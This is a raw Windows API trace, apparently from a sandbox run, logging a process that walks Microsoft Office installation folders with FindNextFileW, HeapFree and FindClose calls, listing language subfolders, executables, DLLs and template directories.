	[0075.442] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.442] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.442] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.442] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0075.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.443] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0075.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.443] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1
	[0075.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.443] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1
	[0075.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.443] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0075.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.966] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0075.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.967] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1
	[0075.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.968] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0075.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.968] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0075.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.968] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0075.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.969] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0075.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.970] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0075.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.971] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0075.971] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0075.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.971] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1
	[0075.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.978] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0075.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.983] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0075.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.990] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1
	[0075.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.992] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0075.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.993] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0075.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.993] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1
	[0075.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.994] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1
	[0075.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.997] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0076.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.427] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0076.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.428] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1
	[0076.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.432] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0076.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.434] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0076.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0076.730] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0076.730] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0076.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.731] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0076.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0076.733] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0076.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0076.733] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1
	[0076.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0076.970] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0076.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0076.973] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0076.973] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0076.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0076.973] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0076.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0076.981] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0076.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0076.989] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0
	[0076.989] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0076.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
